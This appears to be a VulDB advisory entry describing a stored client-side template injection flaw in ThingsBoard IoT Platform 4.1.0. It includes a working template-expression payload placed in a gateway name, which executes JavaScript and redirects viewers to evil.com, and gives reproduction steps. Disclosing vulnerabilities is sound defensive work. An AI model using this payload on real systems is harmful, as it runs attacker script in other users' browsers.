| Title | ThingsBoard ThingsBoard IoT Platform 4.1.0 Stored Client-Side Template Injection (CSTI) |
|---|
| Description | A client-side template injection vulnerability exists in the ThingsBoard IoT platform. By creating a new Gateway with a crafted name containing a template expression, an attacker can inject and execute arbitrary JavaScript in the browser of any user who views the affected gateway.
Payload Used:
{{constructor.constructor('location.href="https://evil.com"')()}}
Steps to Reproduce:
Log in to the ThingsBoard web UI.
Navigate to "Gateways" and click "Add Gateway".
Set the gateway name to: {{constructor.constructor('location.href="https://evil.com"')()}}
Save the gateway.
When a user opens the gateway page or list, the payload is executed, causing a redirect to https://evil.com. |
|---|
| Source | ⚠️ https://drive.google.com/file/d/1cZy-rfQXsF58kJIVs4UXj7usXJuhjZjA/view |
|---|
| User | xhalyl (UID 73655) |
|---|
| Submission | 07/31/2025 15:21 (1 Year ago) |
|---|
| Moderation | 08/17/2025 14:44 (17 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 320416 [ThingsBoard 4.1 Add Gateway special elements used in a template engine] |
|---|
| Points | 20 |
|---|